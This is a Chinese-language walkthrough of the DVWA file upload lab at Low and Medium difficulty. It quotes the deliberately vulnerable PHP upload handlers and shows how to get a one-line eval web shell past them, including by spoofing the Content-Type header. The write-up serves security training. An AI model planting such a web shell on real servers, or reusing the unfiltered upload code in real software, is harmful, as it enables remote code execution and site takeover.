DVWA–FIle Upload(文件上传)
逻辑
选择文件上传:
难度分级
Low
核心代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
分析
对上传文件没有做任何过滤与限制。将上传的文件直接在另一个目录保存。
basename()函数:返回带有文件扩展名的文件名部分。
例如:/xx/test.php,返回test.php
利用
直接上传一句话木马 yjh.php。
<?php @eval($_REQUEST['cmd']); ?>
上传成功:
然后访问该路径。
成功。
Medium
核心代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image? 判断是否为jpeg或png类型的图片
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
分析
-
[$_FILES’userfile’][‘name’]
客户端机器文件的原名称。
-
[$_FILES’userfile’][‘type’]
文件的 MIME 类型
-
[$_FILES’userfile’][‘size’]
已上传文件的大小,单位为字节。
-
[$_FILES’userfile’][‘tmp_name’]
文件被上传后在服务端储存的临时文件名。
-
[$_FILES’userfile’][‘error’]
和该文件上传相关的错误代码。此项目是在PHP 4.2.0 版本中增加的。
-
UPLOAD_ERR_OK
其值为 0,没有错误发生,文件上传成功。
-
UPLOAD_ERR_INI_SIZE
其值为 1,上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
-
UPLOAD_ERR_FORM_SIZE
其值为 2,上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
-
UPLOAD_ERR_PARTIAL
其值为 3,文件只有部分被上传。
-
UPLOAD_ERR_NO_FILE
其值为 4,没有文件被上传。
-
UPLOAD_ERR_NO_TMP_DIR
其值为 6,找不到临时文件夹。PHP 4.3.10 和 PHP 5.0.3 引进。
-
UPLOAD_ERR_CANT_WRITE
其值为 7,文件写入失败。PHP 5.1.0 引进。
-
这里对上传的文件类型进行了判断,如果不是jpeg跟png类型的文件则无法上传。
利用
服务端这里判断文件的类型是通过$_FILES["file"]["type"]
来判断的。
而$_FILES["file"]["type"]
是客户端请求数据包中的Content-Type的值。所以可以通过抓包工具修改Content-Type来绕过服务端检测
这里仍然使用上面的一句话木马。
通过bp抓包修改Content-Type字段的值为image/jpeg则成功上传文件。